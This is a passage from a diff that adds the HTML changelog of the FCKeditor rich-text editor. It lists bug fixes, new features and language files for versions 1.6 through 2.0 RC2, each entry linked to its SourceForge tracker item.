+                       BUG-1146441</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1149777&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1149777</a>] The editor now uses the TEXTAREA id&nbsp;in the ReplaceTextarea
+                       function. If the id is now found, it uses the &quot;name&quot;. The docs have been
+                       updated. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1144297&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1144297</a>] Some corrections have been made to the Dutch language file. Thanks
+                       to Erwin Dondorp. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1121365&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1121365</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090102&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1090102</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1152171&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1152171</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1102907&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1102907</a>] There is no problem now to start the editor with values
+                       like &quot;&lt;div&gt;&lt;/div&gt;&quot; or &quot;&lt;p&gt;&lt;/p&gt;&quot;. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1114059&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1114059</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1041861&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1041861</a>] The click on the disabled options in the Context Menu has no
+                       effects now. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1152617&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1152617</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1102441&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1102441</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1095312&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1095312</a>] Some problems when setting the editor source to very specific
+                       values has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1093514&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1093514</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1089204&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1089204</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077609&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1077609</a>] The editor now runs correctly if called directly (locally)&nbsp;without
+                       a server installation (just opening the HTML sample files). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1088248&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1088248</a>] The editor now uses a different method to load its contents. In
+                       this way the URLs remain untouched. </li>
+               <li>The PHP integration file now detects Internet Explorer 5.5 correctly.</li>
+       </ul>
+       <h3>
+               Version 2.0 RC2 (Release Candidate 2)</h3>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1042034&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1042034</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1075961&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1075961</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1083200&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1083200</a>] A new dialog window for the <strong>table cell properties</strong>
+                       is now available (right-click). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1042034&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1042034</a>] The new &quot;<strong>Split Cell</strong> &quot;, to split
+                       a table cell in two columns, has been introduced (right-click). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1042034&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1042034</a>] The new &quot;<strong>Merge Cells</strong>&quot;, to merge
+                       table cells (in the same row), has been introduced (right-click). </li>
+               <li>The &quot;fake&quot; <strong>TAB key support</strong> (available by default over
+                       Gecko browsers is now available over IE too. You can set the number of spaces to
+                       add setting the FCKConfig.TabSpaces configuration setting. Set it to 0 (zero) to
+                       disable this feature (IE). </li>
+               <li>It now possible to tell IE to send a <strong>&lt;BR&gt;</strong> when the user presses
+                       the <strong>Enter key</strong>. Take a look at the FCKConfig.UseBROnCarriageReturn
+                       configuration setting. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1085422&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1085422</a>] <strong>ColdFusion</strong>: The <strong>File Manager connector</strong>
+                       is now available! (Thanks to Hendrik Kramer). </li>
+               <li>The editor is now available in <strong>29 languages!</strong> The new language files
+                       available are:&nbsp;
+                       <ul>
+                               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1067775&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1067775</a>] <strong>Chinese Simplified and Traditional</strong> (Taiwan
+                                       and Hong Kong) (by NetRube). </li>
+                               <li><strong>Czech</strong> (by David Hor&aacute;k). </li>
+                               <li><strong>Danish</strong> (by Jesper Michelsen). </li>
+                               <li><strong>Dutch</strong> (by Bram Crins). </li>
+                               <li><strong>German</strong> (by Maik Unruh). </li>
+                               <li><strong>Portuguese</strong> (Portugal) (by Francisco Pereira). </li>
+                               <li><strong>Russian</strong> (by Andrey Grebnev). </li>
+                               <li><strong>Slovenian</strong> (by Boris Volaric).</li>
+                       </ul>
+               </li>
+               <li>Updates to the <strong>French</strong> language files (by Hubert Garrido). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1085816&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1085816</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1083743&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1083743</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1078783&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1078783</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077861&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1077861</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077861&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1037404</a>] Many&nbsp;small bugs&nbsp;in the XHTML processor
+                       has been corrected (workarounds to browser specific bugs). These are some things
+                       to consider regarding the changes:
+                       <ul>
+                               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1083744&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1083744</a>] On Gecko browsers, any element attribute that the name starts with
+                                       &quot;_moz&quot; will be ignored. </li>
+                               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1060073&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1060073</a>] The &lt;STYLE&gt; and &lt;SCRIPT&gt; elements contents will be
+                                       handled as is, without CDATA tag surrounding. This may break XHTML validation. In
+                                       any case the use of external files for scripts and styles is recommended (W3C recommendation).</li>
+                       </ul>
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1088310&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1088310</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1078837&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1078837</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=999792&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-999792</a>] URLs now remain untouched when initializing the editor or
+                       switching from WYSYWYG to Source and vice versa. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1082323&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1082323</a>] The&nbsp;problem in the ASP and PHP connectors when handling non
+                       &quot;strange&quot; chars in file names has been corrected. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1085034&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1085034</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1076796&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1076796</a>] Some bugs in the PHP connector have been corrected. </li>
+               <li>A&nbsp;problem with the &quot;Format&quot; command on IE browsers on languages different
+                       of English has been solved. The negative side of this correction is that due to
+                       a IE bad design it is not possible to update the &quot;Format&quot; combo while
+                       moving throw the text (context sensitive). </li>
+               <li>On Gecko browsers, when selecting an image and executing the &quot;New Page&quot;
+                       command, the image handles still appear, even if the image is not available anymore
+                       (this is a Gecko bug). When clicking in&nbsp;a &quot;phanton&quot; randle, the browser
+                       crashes. It doesn't&nbsp;happen (the crash)&nbsp;anymore. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1082197&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1082197</a>] On ASP, the bug in the browser detection system for Gecko browsers
+                       has been corrected. Thanks to Alex Varga. </li>
+               <li>Again on ASP, the browser detection for IE had some problems on servers that use
+                       comma for decimal separators on numbers. It has been corrected. Thanks to Agrotic.
+               </li>
+               <li>No error is thrown now when&nbsp;non existing&nbsp;language is configured in the
+                       editor. The English language file is loaded in that case. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077747&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1077747</a>] The missing images on the Office2003 and Silver skins are now included
+                       in the package. </li>
+               <li>On some Gecko browsers, the dialog window was not loading correctly. I couldn't
+                       reproduce the problem, but a fix has been applied based on users tests. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1004078&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1004078</a>] ColdFusion: The &quot;config&quot; structure/hash table with keys
+                       and values is in ColdFusion not(!) case sensitive. All keys returned by ColdFusion
+                       are in upper case format. Because the FCKeditor configuration keys must be case
+                       sensitive, we had to match all structure/hash keys with a list of the correct configuration
+                       names in mixed case. This has been added to the fckeditor.cfc and fckeditor.cfm.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1075166&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1075166</a>] ColdFusion: The &quot;fallback&quot; variant of the texteditor
+                       (&lt;textarea&gt;) has a bug in the fckeditor.cfm. This has been fixed. </li>
+               <li>A typo in the Polish language file has been corrected. Thanks to Pawel Tomicki.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1086370&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1086370</a>] A small coding type in the Link dialog window has been corrected.
+               </li>
+       </ul>
+       <h3>
+               Version 2.0 RC1 (Release Candidate 1)</h3>
+       <ul>
+               <li><strong>ASP</strong> support is now available (including the&nbsp;File Manager connector).
+               </li>
+               <li><strong>PHP</strong> support is now available (including the File Manager connector).
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1063217&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1063217</a>] The new advanced&nbsp;<strong>Style</strong> command is available
+                       in the toolbar: full preview, context sensitive, style definitions are loaded from
+                       a XML file (see documentation for more instructions). </li>
+               <li>The <strong>Font Format</strong>, <strong>Font Name</strong> and <strong>Font Size</strong>
+                       toolbar command now show a <strong>preview</strong> of the available options. </li>
+               <li>The new <strong>Find</strong> and <strong>Replace</strong> features has been introduced.
+               </li>
+               <li>A new <strong>Plug-in</strong> system has been developed. Now it is quite easy to
+                       customize the editor to your needs. (Take a look at the html/sample06.html file).
+               </li>
+               <li>The editor now handles <strong>HTML entities</strong> in the right way (XHTML support
+                       must be set to &quot;true&quot;). It handles all entities defined in the W3C&nbsp;XHTML
+                       DTD file. </li>
+               <li>A new &quot;_docs&quot; folder has been introduced for the <strong>documentation</strong>.
+                       It is not yet complete, but I hope the community will help us to fill it better.
+               </li>
+               <li>It is now possible (even if it is not recommended by the W3C) to force the use of
+                       simple ampersands (&amp;) on attributes (like the links href) instead of its entity
+                       &amp;amp;. Just set FCKConfig.ForceSimpleAmpersand = true in the&nbsp;configuration
+                       file. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1026866&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1026866</a>] The &quot;<strong>EditorAreaCSS</strong>&quot; configuration
+                       option has been introduced. In this way you can set the CSS to use in the editor
+                       (editable area). </li>
+               <li>The editing area is not anymore clipped if the toolbar is too large and exceeds
+                       the window width. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1064902&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1064902</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1033933&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1033933</a>] The editor <strong>interface</strong> is now completely <strong>localizable</strong>.
+                       The version ships with 19 languages including: <b>Arabic</b>, <b>Bosnian</b>, <b>Catalan</b>,
+                       <b>English</b>, <b>Spanish</b>, <b>Estonian</b>, <b>Finnish</b>, <b>French</b>,
+                       <b>Greek</b>, <b>Hebrew</b>, <b>Croatian</b>, <b>Italian</b>, <b>Korean</b>, <b>Lithuanian</b>,
+                       <b>Norwegian</b>, <strong>Polish</strong>, <strong>Serbian (Cyrillic)</strong>,
+                       <strong>Serbian (Latin)</strong> and <strong>Swedish</strong>.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1027858&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1027858</a>] Firefox 1.0 PR&nbsp;introduced&nbsp;a bug that made the editor
+                       stop working on it. A workaround has been developed to fix the problem. </li>
+               <li>There was a positioning problem over IE&nbsp;with the color panel. It has been corrected.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1049842&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1049842</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1033832&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1033832</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1028623&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1028623</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1026610&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1026610</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1064498&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1064498</a>] The combo commands in the toolbar were not opening
+                       in the right way. It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1053399&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1053399</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=965318&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-965318</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1018296&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1018296</a>] The toolbar buttons icons were not showing on some IE and
+                       Firefox/Mac installations. It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1054621&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1054621</a>] Color pickers are now working with the &quot;office2003&quot; and
+                       &quot;silver&quot; skins. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1054108&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1054108</a>] IE doesn&rsquo;t recognize the &quot;&amp;apos;&quot; entity for
+                       apostrophes, so a workaround has been developed to replace it with &quot;&amp;#39;&quot;
+                       (its numeric entity representation). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=983434&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-983434</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=983398&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-983398</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1028103&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1028103</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1072496&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1072496</a>] The problem with elements with name &quot;submit&quot;
+                       inside the editor's form has been solved. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1018743&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1018743</a>] The problem with Gecko when collapsing the toolbar while in source
+                       mode has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1065268&amp;group_id=75348">SF
+                       BUG-1065268</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1034354&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1034354</a>] The XHTML processor now doesn&rsquo;t use the minimized tag
+                       syntax (like &lt;br/&gt;) for empty elements that are not marked as EMPTY in the
+                       W3C XHTML DTD specifications. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1029654&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1029654</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1046500&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1046500</a>] Due to a bug on Gecko there was a problem when creating links.
+                       It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1065973&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1065973</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=999792&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-999792</a>] The editor now handles relative URLs in IE. In effect IE transform
+                       all relative URLs to absolute links, pointing to the site the editor is running.
+                       So now the editor removes the protocol and host part of the link if it matches the
+                       running server. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1071824&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1071824</a>] The color dialog box bug has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1052856&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1052856</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1046493&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1046493</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1023530&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1023530</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1025978&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1025978</a>] The editor now doesn&rsquo;t throw an error if no selection
+                       was made and the create link command is used. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1036756&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1036756</a>] The XHTML processor has been reviewed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1029101&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1029101</a>] The Paste from Word feature is working correctly. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1034623&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1034623</a>] There is an IE bug when setting the editor value to &quot;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&quot;.
+                       A workaround has been developed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1052695&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1052695</a>] There are some rendering differences between Netscape and Mozilla.
+                       (Actually that is a bug on both browsers). A workaround has been developed to solve
+                       it. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1073053&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1073053</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1050394&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1050394</a>] The editor doesn&rsquo;t throw errors when hidden. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1066321&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1066321</a>] Scrollbars should not appear on dialog boxes (at least for the
+                       Image and Link ones). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1046490&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1046490</a>] Dialogs now are forced to show on foreground over Mac. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1073955&amp;group_id=75348">SF
+                       BUG-1073955</a>] A small bug in the image dialog window has been corrected. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1049534&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1049534</a>] The Resources Browser window is now working well over Gecko browsers.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1036675&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1036675</a>] The Resources Browser window now displays the server error on bad
+                       installations.</li>
+       </ul>
+       <h3>
+               Version 2.0 Beta 2</h3>
+       <ul>
+               <li>There is a new configuration - &quot;<strong>GeckoUseSPAN</strong>&quot; - that
+                       can be used to tell Gecko browsers to use &lt;SPAN style...&gt; or &lt;B&gt;, &lt;I&gt;
+                       and &lt;U&gt; for the bold, italic and underline commands. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1002622&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1002622</a>] New <strong>Text Color</strong> and&nbsp;<strong>Background Color</strong>
+                       &nbsp;commands have been added to the editor. </li>
+               <li>On Gecko browsers, a message is shown when,&nbsp;because of&nbsp;security settings,&nbsp;the
+                       user&nbsp;is not able to&nbsp;cut, copy or paste data from the clipboard using the
+                       toolbar buttons or the context menu. </li>
+               <li>The new &quot;<strong>Paste as Plain Text</strong> &quot; command has been introduced.
+               </li>
+               <li>The new &quot;<strong>Paste from Word</strong> &quot; command has been introduced.
+               </li>
+               <li>A new configuration named&nbsp;&quot;StartupFocus&quot; can be used to tell the
+                       editor to get the focus when the page is loaded. </li>
+               <li>All <strong>Java </strong>integration files has been moved to a new separated package.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1016781&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1016781</a>] <strong>Table operations</strong> are now working when right click
+                       inside a table. The following commands has been introduced: <strong>Insert Row</strong>,
+                       <strong>Delete Row</strong>, <strong>Insert Column</strong>, <strong>Delete Column</strong>,
+                       <strong>Insert Cell</strong> and <strong>Delete Cells</strong> . </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=965067&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-965067</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1010379&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1010379</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=977713&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-977713</a>] XHTML support was not working with FireFox, blocking the
+                       editor when submitting data. It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1007547&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1007547</a> ] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=974595&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-974595</a> ]&nbsp;The &quot;FCKLang not defined&quot; error when loading
+                       has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1021028&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1021028</a>] If the editor doesn't have the focus, some commands were been executed
+                       outside the editor in the place where the focus is. It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=981191&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-981191</a>] We are now using &lt;!--- ---&gt; for ColdFusion comments.</li>
+       </ul>
+       <h3>
+               Version 2.0 Beta 1</h3>
+       <p>
+               This is the first beta of the 2.x series. It brings a lot of new and important things.
+               Beta versions will be released until all features available on version 1.x will
+               be introduced in the 2.0.<br />
+               <br />
+               <strong>Note:</strong> As it is a beta, it is not yet completely developed. Future
+               versions can bring new features that can break backward compatibility with this
+               version.
+       </p>
+       <ul>
+               <li>Gecko browsers (<strong>Mozilla</strong> and <strong>Netscape</strong>) support.
+               </li>
+               <li><strong>Quick startup</strong> response times. </li>
+               <li>Complete <strong>XHTML</strong> 1.0 support. </li>
+               <li><strong>Advanced link</strong> dialog box:
+                       <ul>
+                               <li>Target selection. </li>
+                               <li>Popup configurator. </li>
+                               <li>E-Mail link. </li>
+                               <li>Anchor selector. </li>
+                       </ul>
+               </li>
+               <li>New <strong>File Manager</strong>. </li>
+               <li>New dialog box system, with <strong>tabbed dialogs</strong> support. </li>
+               <li>New <strong>context menus</strong> with icons. </li>
+               <li>New toolbar with &quot;expand/collapse&quot; feature. </li>
+               <li><strong>Skins</strong> support. </li>
+               <li><strong>Right to left languages</strong> support. </li>
+       </ul>
+       <h3>
+               Version 1.6.1</h3>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=862364&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-862364</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=812733&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-812733</a>] There was a problem when the user tried to delete the last row,
+                       collumn or cell in a table. It has been corrected.* </li>
+               <li>New Estonian language file. Thanks to Kristjan Kivikangur </li>
+               <li>New Croatian language file. Thanks to Alex Varga. </li>
+               <li>Updated language file for Czech. Thanks to Plachow. </li>
+               <li>Updated language file for Chineze (zh-cn). Thanks to Yanglin. </li>
+               <li>Updated language file for Catalan. Thanks to Jordi Cerdan.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.genuitec.com/">Genuitec,
+                       LLC</a>.</p>
+       <h3>
+               Version 1.6</h3>
+       <ul>
+               <li><strong>Context Menu</strong> support for <strong>form</strong> elements.* </li>
+               <li>New <strong>&quot;Selection Field&quot; command</strong> with advanced dialog box
+                       for options definitions.* </li>
+               <li>New <strong>&quot;Image Button&quot; command</strong> is available.* </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=936196&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-936196</a>] Many form elements <strong>bugs has been fixed</strong> and
+                       <strong>many improvements</strong> has been done.* </li>
+               <li>New <strong>Java Integration Module</strong>. There is a complete Java API and Tag
+                       Library implementations. Take a look at the _jsp directory. Thanks to Simone Chiaretta
+                       and Hao Jiang. </li>
+               <li>The <strong>Word Spell Checker</strong> can be used. To be able to run it, your
+                       browser security configuration &quot;Initialize and script ActiveX controls not
+                       marked as safe&quot; must be set to &quot;Enable&quot; or &quot;Prompt&quot;. And
+                       easier and more secure way to do that is to add your site in the list of trusted
+                       sites. IeSpell can still be used. Take a look at the fck_config.js file for some
+                       configuration options. Thanks to EdwardRF. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=748807&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-748807</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=801030&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-801030</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=880684&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-880684</a>] New &quot;<strong>Anchor&quot; command</strong>, including
+                       context menu support. Thanks to G.Meijer. </li>
+               <li>Special characters are replaced with their decimal HTML entities when the XHMTL
+                       support is enabled (only over IE5.5+). </li>
+               <li>New <strong>Office 2003 Style</strong> toolbar icons are available. Just uncomment
+                       the config.ToolbarImagesPath key in the fck_config.js file. Thanks to Abdul-Aziz
+                       A. Al-Oraij. <strong>Attention</strong>: the default toolbar items have been moved
+                       to the &quot;images/toolbar/default&quot; directory. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=934566&amp;group_id=75348&amp;atid=543655">SF
